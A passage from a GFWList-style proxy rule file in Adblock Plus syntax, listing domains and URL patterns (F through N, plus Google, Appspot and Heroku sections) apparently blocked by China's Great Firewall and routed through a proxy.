rontlinedefenders.org\\n||fscked.org\\n.fsurf.com\\n.ftchinese.com/story/001054103\\n.ftchinese.com/*video\\n.ftchinese.com/comments\\n.fuckcnnic.net\\n||fuckcnnic.net\\nfuckgfw.org\\nfulue.com\\n.funf.tw\\nfunp.com\\n.furhhdl.org\\n||furinkan.com\\n.futurechinaforum.org\\n||futuremessage.org\\n.fuyin.net\\n||fw.cm\\nfzh999.com\\nfzh999.net\\n\\n!--------------------GG--------------------\\n||gabocorp.com\\n.gaeproxy.com\\n.gaforum.org\\n||galenwu.com\\n||game735.com\\ngamebase.com.tw\\n|http://wiki.gamerp.jp\\n||gamer.com.tw\\n.gamer.com.tw\\n.gamez.com.tw\\n||gamez.com.tw\\n.gaoming.net\\n||gaoming.net\\nganges.com\\n.gaopi.net\\n|http://gaopi.net\\n.gaozhisheng.org\\n.gaozhisheng.net\\ngardennetworks.com\\n||gardennetworks.org\\n!--IP of Garden Network\\n72.52.81.22\\n||gartlive.com\\n||gather.com\\n||gaymap.cc\\n.gaytube.com\\n.gazotube.com\\n||gazotube.com\\n||gcc.org.hk\\n||gclooney.com\\n.gcpnews.com\\n.gdbt.net/forum\\ngdzf.org\\n||geek-art.net\\ngeekerhome.com/2010/03/xixiang-project-cross-gfw\\n||geekmanuals.com\\n!--||genuitec.com\\n.geocities.co.jp\\n.geocities.com/SiliconValley/Circuit/5683/download.html\\nhk.geocities.com\\ngeocities.jp\\n||geohot.com\\n||geometrictools.com\\n||get-digital-help.com\\n.getchu.com\\n||getfoxyproxy.org\\n.getfreedur.com\\n||getgom.com\\n.getlantern.org\\n||getlantern.org\\n.getjetso.com/forum\\ngetiton.com\\n.getsocialscope.com\\ngfw.org.ua\\n.ggssl.com\\n||ggssl.com\\n||ghost.org\\n||ghut.org\\n||giga-web.jp\\n|http://tw.gigacircle.com\\n|http://cn.giganews.com/\\ngigporno.ru\\n||gimpshop.com\\n||girlbanker.com\\n|http://softwaredownload.gitbooks.io/\\n|https://gist.github.com\\n|http://cthlo.github.io/hktv\\n|http://wsgzao.github.io/post/gfw-break\\n||glennhilton.com\\nglobaljihad.net\\nglobalmuseumoncommunism.org\\n||globalrescue.net\\n.globalvoicesonline.org\\n||globalvoicesonline.org\\ngmbd.cn\\n||gmhz.org\\n|http://www.gmiddle.com/\\n|http://www.gmiddle.net/\\n.gmll.org\\n||gnci.org.hk\\n||goagent.biz\\n||goagentplus.com\\ngodfootsteps.org\\n||godfootsteps.org\\ngodsdirectcontact.org.tw\\n.gokbayrak.com\\n||goldbetsports.com\\n|http://www.goldenmelody.com.tw\\n||goldwave.com\\ngongmeng.info\\ngongm.in\\ngongminliliang.com\\n.gongwt.com\\n|http://gongwt.com/\\n.goodreads.com\\n||goodreads.com\\n.goodreaders.com\\n||goodreaders.com\\n.goodtv.com.tw\\n.goodtv.tv\\n||goofind.com\\n.googlesile.com\\n.gopetition.com\\n||gopetition.com\\n||gotw.ca/\\ngrandtrial.org\\n||graphis.ne.jp\\n||s.gravatar.com\\ngreatfirewall.biz\\n||greatfirewallofchina.net\\n.greatfirewallofchina.org\\n||greatfirewallofchina.org\\n.greenparty.org.tw\\n||greenpeace.org\\ngreat-firewall.com\\ngreat-roc.org\\ngreatroc.org\\ngreatzhonghua.org\\n.greenpeace.com.tw\\n.greenvpn.net\\n||greenvpn.net\\ngs-discuss.com\\n||gtricks.com\\nguancha.org\\n.gun-world.net\\n||gutteruncensored.com\\n||gvm.com.tw\\n.gzm.tv\\n||gzone-anime.info\\n\\n!----------------Google----------------\\n||abc.xyz\\n||agoogleaday.com\\n||androidify.com\\n||chromeexperiments.com\\n||chromercise.com\\n||data-vocabulary.org\\n||g.co\\n||ggpht.com\\n||gmail.com\\n||gmodules.com\\n||goo.gl\\n/^https?:\\\\/\\\\/[^\\\\/]+google\\\\.(.*)/\\n!--||google-analytics.com\\n!--||googleadservices.com\\n||googleapis.com\\n||googleartproject.com\\n||googlecode.com\\n||googlecommerce.com\\n||googledomains.com\\n||googleearth.com\\n||googledrive.com\\n||googlegroups.com\\n||googlehosted.com\\n||googlelabs.com\\n||googlemail.com\\n||googleplus.com\\n||googlesource.com\\n!--||googlesyndication.com\\n!--||googletagmanager.com\\n!--||googletagservices.com\\n||googleusercontent.com\\n||googlevideo.com\\n||googlezip.net\\n||groups.google.cn\\n||gvt0.com\\n||gvt1.com\\n||html5rocks.com\\n||nic.google\\n||panoramio.com\\n||polymer-project.org\\n||recaptcha.net\\n||registry.google\\n|http://sipml5.org/\\n!--||www.google\\n!--Youtube CDN\\n||ytimg.com\\n\\n!------------Google App Engine/Appspot-------\\n.appspot.com\\n||appspot.com\\n/^https?:\\\\/\\\\/[^\\\\/]+appspot\\\\.com/\\n\\n!-------------Google ghs-----\\n!-||1024cores.net\\n!-||www.20thingsilearned.com\\n!-||www.3dtin.com\\n!-A\\n!-||abelhadigital.com\\n!-||blog.aegisub.org\\n!-||android-x86.org\\n!-||chrome.angrybirds.com\\n!-||appbrain.com\\n!-||my.architexa.com\\n!-||feeds.arstechnica.com\\n!-||blog.athico.com\\n!-||aurorasoftworks.com\\n!-B\\n!-||www.benjamingolub.com\\n!-||rss.berryreview.com\\n!-||docs.blacktree.com\\n!-||secrets.blacktree.com\\n!-||www.blacktree.com\\n!-||feeds.boingboing.net\\n!-||moblog.bradleyit.com\\n!-||www.buddyrunner.com\\n!-||buzzcantweet.com\\n!-C\\n!-||feeds.cbsnews.com\\nchinaaid.net\\n!-||www.chinesealbumart.com\\n!-||chromeexperiments.com\\n!-||www.clementine-player.org\\n!-||data.clementine-player.org\\n!-||clemesha.org\\n!-||www.cloudgirlfriend.com\\n!-||rss.cnn.com\\n!-||cocoawithlove.com\\n!-||blog.controlspace.org\\n!-D\\n!-||www.dailygyan.com\\n!-||dailytodo.org\\n!-||blog.danmarner.com\\n!-||github.danmarner.com\\n!-||design-seeds.com\\n!-||designers-artists.com\\n!-||feeds.digg.com\\n!-||app.diu.li\\n!-||mail.diyang.org\\n!-||blog.doughellmann.com\\n!-||downforeveryoneorjustme.com\\n!-||droidsecurity.com\\n!-||www.dropmocks.com\\n!-||dumblittleman.com\\n!-||feeds.dzone.com\\n!-E\\nechofon.com\\n!-||echofon.com\\n!-||epc-jav.com\\n!-||everdark.info\\n!-||s.evernote.com\\n!-||evhead.com\\n!-F\\n!-||facilelogin.com\\n!-||*.fatduck.org\\n!-||blog.fdcn.org\\n!-||fftogo.com\\n!-||flightsimtalk.com\\n!-||mclee.foolme.net\\n!-||www.frienddeck.com\\n!-||fringespoilers.com\\n!-||fringetelevision.com\\n!-||funpea.com\\n!-G\\n!-||blog.gatein.org\\n!-||feeds.gawker.com\\n!-||geektang.com\\n!-||geohot.us\\n!-||getaround.com\\n!-||gmer.net\\n!-||www.gmote.org\\n!-||blog.go2web20.net\\n!--||blog.google.org\\n!-||google-melange.com\\n||golang.org\\n!-||fame.gonzolabs.org\\n!-||govecn.org\\n!-||gqueues.com\\n!-||graphycalc.com\\n||greasespot.net\\n!-||blog.growlforwindows.com\\n!-H\\n!-||hcm.com.tw\\n!-||blog.headius.com\\n!-||hogbaysoftware.com\\n!-||blog.hotot.org\\n!-||feeds.howstuffworks.com\\n!-||huhaitai.com\\n!-||blog.humanrightsfirst.org\\n!-I\\n!-||site.icu-project.org\\n!-||igorware.com\\n!-||ihas1337code.com\\n!-||inknouveau.com\\n!-||inote.tw\\n!-||ironhelmet.com\\n!-||iwfwcf.com\\n!-J\\n!-||blog.jangmt.com\\n!-||blog.jayfields.com\\n!-||t.jiecii.com\\n!-||blog.joint.net\\n!-||blog.jsquaredjavascript.com\\n!-||blog.jtbworld.com\\n!-K\\n!-||kathyschwalbe.com\\n!-||tomatovpn.keithmoyer.com\\n!-||www.keithmoyer.com\\n!-||kendalvandyke.com\\n!-||blog.kengao.tw\\n!-||log.keso.cn\\n!-||www.khanacademy.org\\n||www.klip.me\\n!-||usbloadergx.koureio.net\\n!-||blog.kowalczyk.info\\n!-L\\n!-||labyrinth2.com\\n!-||larsgeorge.com\\n!-||blog.lastpass.com\\n!-||docs.latexlab.org\\n!-||leanessays.com\\n!-||blog.lidaobing.info\\n!-||log.lightory.net\\n!-||feeds.limi.net\\n!-||www.liteapplications.com\\n!-||blog.liukangxu.info\\n!-||twitter.liukangxu.info\\n!-||oasisnewsroom.live4ever.us\\n!-||www.lockergnome.com\\n!-||locql.com\\n@@||site.locql.com\\n!-||feeds.loiclemeur.com\\n!-||blog.louisgray.com\\n!-M\\n!-||madebysofa.com\\n!-||mademoisellerobot.com\\n!-||masamixes.com\\n!-||www.metamuse.net\\n!-||blog.metasploit.com\\n!-||milazi.com\\n!-||www.miniweather.com\\n!-||twitter.missiu.com\\n!-||plurktop-button.mmdays.com\\n!-||feeds.mobileread.com\\n!-||www.modernizr.com\\n!-||www.modk.it\\n!-||mytwishirt.com\\n!-N\\n!-||blog.netflix.com\\n!-||blog.nihilogic.dk\\n!-||ntlk.org\\n!-||nvquan.org\\n!-||nogoodatcoding.com\\n!-||blog.notdot.net\\n!-||www.notify.io\\n!-O\\n!-||blog.obvious.com\\n!-||onebigfluke.com\\n!-||overstimulate.com\\n!-P\\n!-||pcgeekblog.com\\n!-||feeds.pdfchm.net\\n!-||feeds.people.com\\n!-||blog.persistent.info\\n!-||chrome.plantsvszombies.com\\n!-||portablesoft.org.ru\\n!-||prasannatech.net\\n!-||talk.news.pts.org.tw\\n!-||python-excel.org\\n!-Q\\n!-R\\n!-||r-chart.com\\n!-||rameshsubramanian.org\\n!-||rapid.pk\\n!-||blog.reddit.com\\n!-||blog.renanse.com\\n!-||robertmao.com\\n!-||www.romeo-foxtrot.com\\n!-S\\n!-||salmiyuck.com\\n!-||samsal.com\\n!-||blog.seeminglee.com\\n!-||blog.sflow.com\\n!-||blog.sigfpe.com\\n!-||simpletext.ws\\n!-||www.skulpt.org\\n!-||rss.slashdot.org\\n!-||snippetsapp.com\\n!-||w.sns.ly\\n!-||www.socialnmobile.com\\n!-||www.socialwhois.com\\n!-||spiritjb.org\\n!-||ssbook.com\\n!-||sshforwarding.com\\n!-||stationeria.com\\n!-||sunjidong.net\\n!-||syniumsoftware.com\\n@@||download.syniumsoftware.com\\n!-T\\n!-||tagxedo.com\\n!-||blog.tatoeba.org\\n!-||www.techfob.com\\n!-||teachparentstech.org\\n!-||the8pen.com\\n!-||theiphonewiki.com\\n!-||blog.thesilentnumber.me\\n!-||thesponty.com\\n!-||theultralinx.com\\n!-||blog.think-async.com\\n!-||tornadoweb.org\\n!-||transparentuptime.com\\n!-||triangulationblog.com\\n!-||blog.tsunanet.net\\n!-||en.tuxero.com\\n!-||twazzup.com\\n!-||tweetswell.com\\n!-||twibes.com\\n!-||art.twgg.org\\n!-||twivert.com\\n!-U\\n|http://ub0.cc\\n!-||jonny.ubuntu-tw.net\\n!-||blog.umonkey.net\\n!-V\\n!-||tp.vbap.com.au\\n!-||www.virtuousrom.com\\n!-||blog.visibotech.com\\n!-W\\n!-||waveprotocol.org\\n!-||www.wavesandbox.com\\n!-||webfee.org.ru\\n!-||blog.webmproject.org\\n!-||webupd8.org\\n!-||www.whatbrowser.org\\n!-||www.wheredoyougo.net\\n!-||willhains.com\\n!-||feeds.wired.com\\n!-||wisemapping.org\\nwozy.in\\n!-||wozy.in/\\n!-||blog.wundercounter.com\\n!-X\\n!-||xdelta.org\\n!-||xiaogaozi.org\\n!-||xilou.us\\n!-||xzy.org.ru\\n!-Y\\n!-||yooper.be\\n!-||tsong.yunxi.net\\n!-Z\\n\\n!-------------Google Minganci-----\\n!--@@||ipv6.google.com\\n\\ngospelherald.com\\n||gospelherald.com\\n|http://hk.gradconnection.com/\\n||grangorz.org\\n||graylog2.org\\ngreatfire.org\\n||greatfire.org\\ngreatfirewallofchina.org\\n||greatroc.tw\\n||gstatic.com\\n.gu-chu-sum.org\\n|http://gu-chu-sum.org\\nguishan.org\\n||guishan.org\\n||gunsamerica.com\\n|http://gvlib.com\\n.gyalwarinpoche.com\\n.gyatsostudio.com\\n\\n!--------------------HH--------------------\\n||h-china.org\\nh1n1china.org\\n.hacken.cc/bbs\\n||hackthatphone.net\\nhahlo.com\\n||hakkatv.org.tw\\n|http://bbs.hanminzu.org/\\n.hanunyi.com\\n|http://ae.hao123.com\\n|http://ar.hao123.com\\n|http://br.hao123.com\\n|http://en.hao123.com\\n|http://id.hao123.com\\n|http://jp.hao123.com\\n|http://ma.hao123.com\\n|http://sa.hao123.com\\n|http://th.hao123.com\\n|http://tw.hao123.com\\n|http://vn.hao123.com\\n||hardsextube.com\\n.harunyahya.com\\n||hasaowall.com\\nhave8.com\\n@@||haygo.com\\n||hdtvb.net\\n||heartyit.com\\n.hecaitou.net\\n||hecaitou.net\\n.hechaji.com\\n||hechaji.com\\n||heeact.edu.tw\\n||helplinfen.com\\n||helloandroid.com\\n||helloqueer.com\\nhellotxt.com\\n||hellotxt.com\\n||htxt.it/\\n.hellouk.org/forum/lofiversion\\n.helpeachpeople.com\\n||helpeachpeople.com\\n.helpzhuling.org\\n\\n!###########--Heroku--##########\\n||date.fm\\n||flightcaster.com\\n||branch.com\\n||awardwinningfjords.com\\n||futureme.org\\n||getcloudapp.com\\n||cl.ly\\n@@||f.cl.ly\\n||getsmartlinks.com\\n||git-scm.com\\n||lesscss.org\\n||list.ly\\n||maxgif.com\\n||overlapr.com\\n||peerpong.com\\n||pose.com\\n!--||rubyinstaller.org\\n||samsoff.es\\n||sendoid.com\\n||speckleapp.com\\n||stuffimreading.net\\n||tomayko.com\\n||twt.fm\\n||views.fm\\n\\nheqinglian.net\\nhere4news.com\\n||heungkongdiscuss.com\\n!--Google employee within Google IP\\n||hexxeh.net\\napp.heywire.com\\n.hgseav.com\\nhidden-advent.org\\n||hidden-advent.org\\nhidecloud.com/blog/2008/07/29/fuck-beijing-olympics.html\\n||hide.me\\n.hidemyass.com\\n||hidemyass.com\\n||hideipvpn.com\\n.hihiforum.com\\n|http://hihiforum.com\\n||hihistory.net\\n.higfw.com\\n||highrockmedia.com\\n||hiitch.com\\n||hikinggfw.org\\n.himalayan-foundation.org\\n.himemix.com\\n||himemix.com\\n.himemix.net\\ntimes.hinet.net\\n.hjclub.info\\n.hk-pub.com/forum\\n|http://hk-pub.com\\n.hk32168.com\\n||hk32168.com\\napp.hkatvnews.com/v3\\nhkbc.net\\n.hkbf.org\\n.hkchurch.org\\nhkday.net\\n.hkdailynews.com.hk/china.php\\n.hkej.com\\n.hkepc.com/forum/viewthread.php?tid=1153322\\nglobal.hkepc.com*forum\\nhkfront.org\\nhkgolden.com\\n.hkgreenradio.org/home\\n.hkheadline.com*blog\\n.hkheadline.com/instantnews\\nhkhkhk.com\\nhkjc.com\\n.hkjp.org\\nhkptu.org\\n.hkreporter.com\\n||hkreporter.com\\n|http://hkupop.hku.hk/\\n.hkwcc.org.hk\\n||hkzone.org\\nhnjhj.com\\n||hnjhj.com\\n||hola.com\\n||hola.org\\nholyspiritspeaks.org\\n||holyspiritspeaks.org\\n||derekhsu.homeip.net\\n|http://homeservershow.com\\n|http://old.honeynet.org/scans/scan31/sub/doug_eric/spam_translation.html\\nhongmeimei.com\\n||hongzhi.li\\nhootsuite.com\\n||hootsuite.com\\n|http://globalrescue.hopto.org/\\nhotpot.hk\\n.hotshame.com\\n||hotspotshield.com\\n||hougaige.com\\n||howtoforge.com\\n.hqcdp.org\\n||hqcdp.org\\n.hrcir.com\\n.hrcchina.org\\n.hrichina.org\\n||hrichina.org\\n.hrw.org\\n||hrw.org\\n||hsjp.net\\n||hsselite.com\\n.htkou.net\\n||htmldog.com\\nhuaglad.com\\n.huanghuagang.org\\n||huanghuagang.org\\n.huaren.us\\n||huaren.us\\nhuaxia-news.com\\nhuaxiabao.org\\nhuaxin.ph\\nhua-yue.net\\n||hugoroy.eu\\n||huhaitai.com\\n||huhamhire.com\\nhumanrightsbriefing.org\\n||hung-ya.com\\n||hungerstrikeforaids.org\\n||huping.net\\n||hutianyi.net\\nhutong9.net\\n||hwayue.org.tw\\n||hwinfo.com\\nhxwq.org\\n||hypeshell.com\\n||hyperrate.com\\n\\n!--------------------II--------------------\\n.i-cable.com\\n||i1.hk\\n||i2p2.de/\\n||i2runner.com\\niask.ca\\n||iask.ca\\niask.bz\\n||iask.bz\\nibiblio.org/pub/packages/ccic\\n||iblogserv-f.net\\nibros.org\\n|http://cn.ibtimes.com\\nblogs.icerocket.com/tag\\n.icij.org\\n||icl-fi.org\\n\\n!--http://furbo.org/2015/01/28/grass-mud-horse/\\n||iconfactory.com\\n\\n||iconpaper.org\\n!-- Google Pages\\n||icu-project.org\\nw.idaiwan.com/forum\\nidemocracy.asia\\n.identi.ca\\n||identi.ca\\n||idiomconnection.com\\n|http://www.idlcoyote.com\\n.idouga.com\\nforum.idsam.com\\n.idv.tw\\nieasynews.net\\n.ied2k.net\\n|http://if.ttt/\\nifanqiang.com\\n.ifanr.com/857\\n.ifcss.org\\n||ifcss.org\\nifjc.org\\n|http://ift.tt\\n||ifreewares.com\\n||igfw.net\\n||ignitedetroit.net\\n||igvita.com\\n||ihakka.net\\n||iicns.com\\n||illusionfactory.com\\n||ilove80.be\\n||im.tv\\n@@||myvlog.im.tv\\n||im88.tw\\n.imagefap.com\\n||imagefap.com\\n||imageflea.com\\nimageshack.us\\n||imagevenue.com\\n||imagezilla.net\\n!--.imdb.com\\n!--|http://imdb.com\\n|http://www.imdb.com/name/nm0482730\\n|http://www.imdb.com/title/tt0819354/\\n.img.ly\\n||img.ly\\n.imkev.com\\n||imkev.com\\n.imlive.com\\nimmigration.gov.tw\\n|http://tech2.in.com/video/\\n||incredibox.fr\\n.initiativesforchina.org\\n.inmediahk.net\\n||inmediahk.net\\n||innermongolia.org\\n.instagram.com\\n||instagram.com\\n||interfaceaddiction.com\\n||internationalrivers.org\\n|http://internet.org/\\ninternetdefenseleague.org\\ninternetfreedom.org\\n!--||interpol.int\\n||internetpopculture.com\\ninxian.com\\n||inxian.com\\n||ipcf.org.tw\\n||iphone4hongkong.com\\n||iphonehacks.com\\n||iphonix.fr\\n||ipicture.ru\\n!--ipobar.com\\n||ippotv.com\\n|https://*.iptorrents.com\\n|https://iptorrents.com\\n||ipvanish.com\\niredmail.org\\n||ironicsoftware.com\\n||ironbigfools.compython.net\\n||ironpython.net\\n.beta.iset.com.tw/forum\\nhttp://beta.iset.com.tw/forum\\nforum.iset.com.tw\\n.islam.org.hk\\n.islamicity.com\\n.isaacmao.com\\n||isaacmao.com\\n||isgreat.org\\n||ismaelan.com\\n||ismprofessional.net\\nisohunt.com\\n||israbox.com\\nblog.istef.info/2007/10/21/myentunnel\\n.istockphoto.com\\nisunaffairs.com\\nisuntv.com\\nitaboo.info\\n||itaboo.info\\ndownload.ithome.com.tw\\nithelp.ithome.com.tw\\n||itshidden.com\\n.itweet.net\\n|http://itweet.net\\n.iu45.com\\n||iuhrdf.org\\n.iverycd.com\\n||lvv2.com\\n||ixquick.com\\niyouport.com\\n||iyouport.com\\n.izaobao.us\\n||gmozomg.izihost.org\\n.izles.net\\n\\n!--------------------JJ--------------------\\n||j.mp\\nblog.jackjia.com\\n||japan-whores.com\\n.javbus.com\\njbtalks.cc\\njbtalks.com\\njbtalks.my\\n.jdwsy.com\\njeanyim.com\\n||jgoodies.com\\n||jiaoyou8.com\\n.jiehua.cz\\n||hk.jiepang.com\\n||tw.jiepang.com\\njieshibaobao.com\\njigong1024.com\\njinbushe.org\\n||jinbushe.org\\nzhao.jinhai.de\\njingpin.org\\n||jingpin.org\\nac.jiruan.net\\n||jitouch.com\\njkforum.net\\n||jma.go.jp\\nresearch.jmsc.hku.hk/social\\n||joachims.org\\n||jobso.tv\\n||joeedelman.com\\n||journalofdemocracy.org\\njpopforum.net\\n||juliereyc.com\\n||junauza.com\\n.junefourth-20.net\\n||junefourth-20.net\\njustfreevpn.com\\njusttristan.com\\njuyuange.org\\njuziyue.com\\n||juziyue.com\\n||jwmusic.org\\n@@||music.jwmusic.org\\n.jyxf.net\\n\\n!--------------------KK--------------------\\n||ka-wai.com\\n.kagyuoffice.org\\n||kagyuoffice.org\\n||kagyuoffice.org.tw\\n.kaiyuan.de\\n||kakao.com\\nkanzhongguo.com\\nkanzhongguo.eu\\n||karayou.com\\n||kcsoftwares.com\\n.kechara.com\\n.keepandshare.com/visit/visit_page.php?i=688154\\n||keepvid.com\\n.kendincos.net\\n.kenengba.com\\n||kenengba.com\\n||keontech.net\\nwiki.keso.cn/Home\\n.khabdha.org\\n.khmusic.com.tw\\nbbs.kimy.com.tw\\n||kindleren.com\\n.kingdomsalvation.org\\nkinghost.com\\n.kingstone.com.tw\\nkillwall.com\\n||killwall.com\\n.kissbbao.cn\\n|http://kiwi.kz\\n||kmt.org.tw\\n.knowledgerush.com/kr/encyclopedia\\n||kodingen.com\\n@@||www.kodingen.com\\n||kompozer.net\\n||koolsolutions.com\\n.koornk.com\\n||koornk.com\\n.kui.name/event\\n.kuliwang.com\\nkun.im\\n.kurashsultan.com\\n||kurtmunger.com\\nkusocity.com\\n||kwcg.ca\\nkwongwah.com.my\\nkyohk.net\\n.kzeng.info\\n||kzeng.info\\n\\n!--------------------LL--------------------\\nla-forum.org\\nladbrokes.com\\n||labiennale.org\\nlagranepoca.com\\n.lalulalu.com\\n|http://www.lamenhu.com\\nlaogai.org\\n||laogai.org\\nlaomiu.com\\n.laoyang.info\\n|http://laoyang.info\\n||laptoplockdown.com\\n||laqingdan.net\\n||larsgeorge.com\\n||lastfm.es\\nlatelinenews.com\\n.latibet.org\\n||lazarsearlymusic.com\\n||leecheukyan.org\\n|http://leirentv.ca\\nleisurecafe.ca\\n||lematin.ch\\n.lemonde.fr\\n||lenwhite.com\\nlerosua.org\\n||lerosua.org\\nblog.lester850.info\\n||lesoir.be\\nletscorp.net\\n||letscorp.net\\n.liangyou.net\\n||liangyou.net\\nliansi.org\\n.lianyue.net\\n||liaowangxizang.net\\n.liaowangxizang.net\\n||liberal.org.hk\\nlibertytimes.com.tw\\n.lidecheng.com/blog/fucking-gfw\\nlimiao.net\\nabitno.linpie.com/use-ipv6-to-fuck-gfw\\n||line.me\\n.linglingfa.com\\n||lingvodics.com\\n.linkideo.com\\n||api.linksalpha.com\\n||apidocs.linksalpha.com\\n||www.linksalpha.com\\n||help.linksalpha.com\\n||linux-engineer.net\\n||linuxconfig.org\\n||linuxreviews.org\\nlinuxtoy.org/archives/installing-west-chamber-on-ubuntu\\n.lipuman.com\\n||listentoyoutube.com\\nlistorious.com\\n||liudejun.com\\n.liuhanyu.com\\n.liujianshu.com\\n||liujianshu.com\\nliuxiaotong.com\\n||liuxiaotong.com\\nliu.lu\\n.liveleak.com\\n||liveleak.com\\n.livestation.com\\nlivestream.com\\n||livestream.com\\n||livingonline.us\\n||livingstream.com\\n||livevideo.com\\n.livevideo.com\\nlizhizhuangbi.com\\nlkcn.net\\n|http://localpresshk.com\\n||lockdown.com\\n||lockestek.com\\nlogbot.net\\n||logiqx.com\\n||logmike.com\\n.longhair.hk\\n||longtermly.net\\n.lookatgame.com\\n|http://lookatgame.com\\n||lookingglasstheatre.org\\n||lookpic.com\\n.looktoronto.com\\n.lotsawahouse.org/tibetan-masters/fourteenth-dalai-lama\\n.lotuslight.org.tw\\nhkreporter.loved.hk\\n||lrfz.com\\n.lrip.org\\n|http://lrip.org/\\n.lsd.org.hk\\n||lsd.org.hk\\nlsforum.net\\n||lsm.org\\n||lsmchinese.org\\n||lsmkorean.org\\n.lsmradio.com/rad_archives\\n.ltn.com.tw\\n|http://ltn.com.tw\\n.lupm.org\\n||lupm.org\\n||lushstories.com\\nlvhai.org\\n||lvhai.org\\n\\n!--------------------MM--------------------\\nforum.m-team.cc/forum\\n||mh4u.org\\nm-team.cc/forum\\nwww.macrovpn.com\\n||mad-ar.ch\\n|http://maiplus.com\\n||marc.info\\nmarguerite.su\\n||martincartoons.com\\n.maiio.net\\nmail-archive.com\\n.malaysiakini.com\\n||makemymood.com\\n||marines.mil\\nmarkmail.org*message\\n||martau.com\\n.martsangkagyuofficial.org\\n|http://martsangkagyuofficial.org\\nmaruta.be/forget\\n.marxist.com\\n||marxist.net\\n.marxists.org/chinese\\n!--mashable.com\\n!--||mashable.com\\n||matainja.com\\n||mathiew-badimon.com\\n||matsushimakaede.com\\n|http://maturejp.com\\nmayimayi.com\\n||mcadforums.com\\nmcfog.com\\n.md-t.org\\n||md-t.org\\n.mediafire.com/?\\n.mediafire.com/download\\n||meetup.com\\nmefeedia.com\\n.megaporn.com\\n||megaproxy.com\\n||megarotic.com\\nmegavideo.com\\n||megurineluka.com\\nmeirixiaochao.com\\n||melon-peach.com\\nmemedia.cn\\n.memehk.com\\n||memehk.com\\n.memrijttm.org\\nmerit-times.com.tw\\n.mesotw.com/bbs\\n.metacafe.com\\n||meteorshowersonline.com\\n|http://www.metro.taipei/\\n||metrolife.ca\\n||mgoon.com\\n||mgstage.com\\nmhradio.org\\n|http://michaelanti.com\\n||michaelmarketl.com\\nmiddle-way.net\\n.mihk.hk/forum\\nmihua.org\\n.mimivip.com\\n.mimivv.com\\n.mindrolling.org\\n|http://mindrolling.org\\nminghui.org\\n||minghui.org\\nminghui-a.org\\nminghui-b.org\\nminghui-school.org\\n.mingjinglishi.com\\n||mingjinglishi.com\\nmingjingnews.com\\n||mingjingtimes.com\\nmingpao.com\\n.mingpaocanada.com\\n.mingpaomonthly.com\\nmingpaonews.com\\n.mingpaony.com\\n.mingpaosf.com\\n.mingpaotor.com\\n.mingpaovan.com\\n.mingshengbao.com\\n.ministrybooks.org\\n.minzhuhua.net\\n||minzhuhua.net\\nminzhuzhanxian.com\\nminzhuzhongguo.org\\n||miroguide.com\\nmirrorbooks.com\\nmitbbs.com\\n.mixero.com\\n||mixero.com\\nmixpod.com\\n.mixx.com\\n||mixx.com\\n||mizzmona.com\\n.mk5000.com\\n.mlcool.com\\n||mmaaxx.com\\nplurktop.mmdays.com\\n.mmmca.com\\n||mobatek.net\\n.mobile01.com\\n||mobileways.de\\n.mobypicture.com\\n|http://moby.to\\n||mrdoob.com\\nwiki.moegirl.org\\n||mog.com\\nmolihua.org\\n||mondex.org\\n|http://www.monlamit.org\\nc1522.mooo.com\\n||monitorchina.org\\nbbs.morbell.com\\n||morningsun.org\\n||movabletype.com\\n||moviefap.com\\n||www.moztw.org\\nmp3ye.eu\\n||mp/\\n||mpettis.com\\nmpfinance.com\\nmpinews.com\\nmrtweet.com\\n||mrtweet.com\\nnews.msn.com.tw\\nmsguancha.com\\n||mthruf.com\\n||multiply.com\\nmultiproxy.org\\nforum.mymaji.com\\nmultiupload.com\\n||muouju.com\\n||muselinks.co.jp\\n||muzi.com\\n||muzi.net\\n||mx981.com\\n.my-proxy.com\\nforum.my903.com\\nmyactimes.com\\n||my-addr.com\\n||myaudiocast.com\\n.myav.com.tw/bbs\\n||bbs.mychat.to\\n||mychinamyhome.com\\n.mychinamyhome.com\\n||www.mycould.com\\n||myeclipseide.com\\n.myforum.com.hk\\n||myforum.com.hk\\n||myforum.com.uk\\n.myfreshnet.com\\n||myparagliding.com\\n||mypopescu.com\\nmysinablog.com\\n.myspace.com\\n!--.blogs.myspace.com\\n!--||blogs.myspace.com\\n!--vids.myspace.com/index.cfm?fuseaction=vids.\\n!--viewmorepics.myspace.com\\n\\n!--------------------NN--------------------\\n||naacoalition.org\\nold.nabble.com\\n||naitik.net\\n||namsisi.com\\nnanyang.com\\n||nanyang.com\\n.nanyangpost.com\\n||nanyangpost.com\\n.nanzao.com/sc/hk-macau-tw\\n||jpl.nasa.gov\\n||pds.nasa.gov\\n/^https?:\\\\/\\\\/[^\\\\/]+line\\\\.naver\\\\.jp/\\n||navicat.com\\n.nakido.com\\n||nakido.com\\n.naol.ca\\ncyberghost.natado.com\\n||national-lottery.co.uk\\n||usno.navy.mil\\nnccwatch.org.tw\\n.nch.com.tw\\n.ncn.org\\n||ncn.org\\n||etools.ncol.com\\n.nde.de\\n.ndr.de\\nwww.ned.org\\n||nekoslovakia.net\\nt.neolee.cn\\nnetcolony.com\\nbolin.netfirms.com\\nzh.netlog.com\\nnetme.cc\\nnetworkedblogs.com\\nneverforget8964.org\\nnew-3lunch.net\\n.new-akiba.com\\n.newcenturymc.com\\n|http://newcenturymc.com\\nnewcenturynews.com\\n||newchen.com\\n.newchen.com\\n.newgrounds.com\\nnewlandmagazine.com.au\\nnews100.com.tw\\n.newscn.org\\n||newscn.org\\n||newsminer.com\\nnewspeak.cc/story\\n.newsancai.com\\n||newstapa.org\\n.newtaiwan.com.tw\\nnewtalk.tw\\n||newtalk.tw\\nnewyorktimes.com\\n!--hk*.nextmedia.com\\n!--tw*.nextmedia.com\\n!--static*.nextmedia.com\\n.nextmedia.com\\n||nexton-net.jp\\nnexttv.com.tw\\n||nga.mil\\nngensis.com\\n.nicovideo.jp/watch\\n!--||nicovideo.jp\\n||nighost.org\\nninecommentaries.com\\nnintendium.com\\ntaiwanyes.ning.com\\nusmgtcg.ning.com/forum\\n||niusnews.com\\n||njactb.org\\nnjuice.com\\n||njuice.com\\nnlfreevpn.com\\n!--no-ip.com\\n||nobel.se\\n!--.nobelprize.org\\n!--|http://nobelprize.org\\nnobelprize.org/nobel_prizes/peace/laureates/2010\\nnobodycanstop.us\\n||nobodycanstop.us\\n||nokogiri.org\\n||nokola.com\\n.norbulingka.org\\n||novelasia.com\\n|http://news.now.com/home*\\n||nownews.com\\n.nowtorrents.com\\n.noypf.com\\n||noypf.com\\n||npa.go.jp\\n.nps.gov\\n.nrk.no\\n||nrk.no\\n||nsc.gov.tw\\n.ntd.tv\\n||ntd.tv\\nntdtv.co\\nntdtv.ca\\nntdtv.org\\nntdtv.ru\\n||cbs.ntu.edu.tw\\n.nubiles.